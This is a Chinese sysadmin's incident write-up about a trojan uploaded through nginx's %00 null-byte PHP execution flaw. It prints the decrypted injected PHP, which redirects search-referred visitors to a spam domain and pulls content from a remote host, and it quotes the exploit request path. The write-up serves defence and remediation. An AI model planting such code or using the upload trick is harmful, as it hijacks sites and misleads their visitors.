一次利用nginx漏洞的木馬事件

導讀：

服務器忽然負載比日常高出了50%，通過長時間分析發現原來是黑客利用nginx的一個漏洞，經過圖片上傳了含有代碼的圖片，而後調用圖片使用post傳入代碼，生成一個含有推廣連接代碼的php可執行文件，代碼在調用時須要屢次解密，所以直接致使負載升高。

 

原由：

今天早上來到公司照例打開cacti監控查看服務器的運行狀況，忽然發現兩臺網站服務器的負載比平時高了50%，這個主要從CPU的使用狀況以及服務器的load值來看。

 

排查：

因而趕忙登陸到服務器上使用top命令查看，發現是一些php-fpm的進程瞬間佔用了大量的CPU，奇怪，平時那些php-fpm的進程佔用CPU不多超過2%的，今天怎麼有的會達到100%，因而趕忙諮詢運維的同事昨天是否是有程序發佈到正式環境。同事回答倒是有，發佈時間爲19:48左右，對照cacti的查看，發現負載升高是在凌晨3點中左右，所以能夠初步確認發佈和負載升高沒什麼直接的關係。

 

那麼究竟是什麼致使服務器的負載一會兒升高了那麼多呢？帶着這個疑問，我開始採用linux下的一些命令行工具開始排查，過程以下：

首先查看進程是否打開什麼文件，找到進程高的pid，cat  /proc/pid/fd 沒有發現有打開的文件，接着採用strace –p pid跟蹤相應的佔用cpu高的php-fpm進程，也很難發現問題，由於佔用CPU高的進程不是一直佔用CPU高，而是瞬間的，因此很難跟蹤。而後採用lsof命令查看相應的佔用CPU高的pid，lsof –p pid ，發現路徑都是指向bbs根目錄下，所以初步肯定bbs根目錄一定有蹊蹺。

目前能夠肯定的是bbs根目錄和此次的負載高有直接的聯繫，那麼如何找到其中的聯繫呢？個人思路是想找出是什麼php文件引發的，也就是php-fpm進程是調用的哪一個PHP文件的時候會出現負載忽然升高的狀況呢？請教了幾個高手都不清楚，在網上找了半天也沒找到合適的答案，忽然想起前段時間出現相似的木馬事件，也是致使服務器負載高了不少，上次木馬事件是由於nginx一個文件上傳的漏洞致使，而且爲了防止此類事情的發生已經寫了一個專門檢測php文件的腳本，採用對文件進行md5的形式，若是如今的文件的md5和原始文件不匹配就會發短信和郵件報警。同時也開啓了nginx上post日誌，會記錄用戶執行post操做的內容。彷佛忽然來了靈感，趕忙運行了那個文件檢測腳本，發現一個forums.php異常，服務器上原本不存在這個文件的，攻擊者爲了隱藏其連接，對該文件中的代碼作了30屢次的加密封裝，經過開發同事的協助解密該文件後發現以下內容：

 

1. error_reporting(E_ERROR);
2. $domain=$_SERVER['SERVER_NAME'];
3. $dddd = $_SERVER['PHP_SELF'];
4. $qqqq=$_SERVER["QUERY_STRING"];
5. $filename = end(explode('/',$dddd));
6.  
7. if(stristr($_SERVER['HTTP_REFERER'],'baidu.com/'))
8. Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);
9. else if(stristr($_SERVER['HTTP_REFERER'],'google.com.hk/search?'))
10. Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);
11. else if(stristr($_SERVER['HTTP_REFERER'],'soso.com/q?'))
12. Header("Location: http://jump.1310.net/jump.php?".$_SERVER['HTTP_REFERER']);
13. else
14. {
15. if($qqqq=="")
16. {
17. $a="http://".$domain.$_SERVER['PHP_SELF'];
18. $show = file_get_contents('http://localtemp.665203.com/server.php?gid='.rand(1,20000).'&domain='.$domain.'&filename='.$filename.'&url='.$a);
19. echo $show;
20. }
21. else
22. {
23. $qqqq=str_replace('&',"",$qqqq);
24. $a="http://".$domain.$_SERVER['PHP_SELF']."?gid=".$qqqq;
25. $show=file_get_contents('http://localtemp.665203.com/server.php?gid='.$qqqq."&domain=".$domain.'&filename='.$filename.'&url='.$a);
26. echo $show;
27. }
28. }
29. ?>

很明顯，服務器中馬了。將此文件備份後刪除，服務器的負載立刻降了下來，看來這個文件就是罪魁禍首了。如今知道了是這個文件致使的，那麼這個文件是經過什麼方式上傳上來的呢？如何避免再次被種馬，接下來詳細分析一下是什麼漏洞致使了此次木馬事件，如何來預防？

 

分析：

查看到那個木馬文件的更改時間是凌晨的3點零4分，那麼這個文件的上傳時間可能就是凌晨的3點零4分，帶着這個疑問，就去查看服務器網頁日誌文件，發現了攻擊的蛛絲馬跡，從日誌中顯示，該用戶是經過上傳頭像，頭像中含有php代碼，而後利用Nginx %00空字節執行任意代碼(php)漏洞，經過POST /ucenter/data/tmp/upload545562.jpg%00.php的方式，把代碼寫入到論壇根目錄，從http://sebug.net/vuldb/ssvid-20898查到了該漏洞，nginxnginx 0.5.*、nginx 0.6.*、nginx 0.7 <= 0.7.6五、nginx 0.8 <= 0.8.37這些版本都存在這個漏洞，只須要將版本升級到0.8.37以上的版本就能解決，所以將立刻將nginx升級至1.0.12版本，問題解決！ 

經驗教訓：

經過此次木馬事件，有幾個教訓和心得和你們分享一下：Ø  積極關注服務器的相關安全漏洞，Nginx %00的漏洞去年凌晨的2011-07-20就出來了，若是關注及時的話這次木馬時間徹底能夠避免。Ø  對全部的程序文件都按期的進行md5校驗，當出現不一致的時候檢查代碼文件，能更快的發現代碼文件被改的跡象，減小損失。Ø  對服務器的權限嚴格控制，若是設置了論壇根目錄不能寫入，這次攻擊也能避免。Ø  增強監控，天天關注服務器的運行狀況，對服務器忽然的異常保持敏感並立刻着手排查。所以之後主要從這三方面來增強web服務器的安全。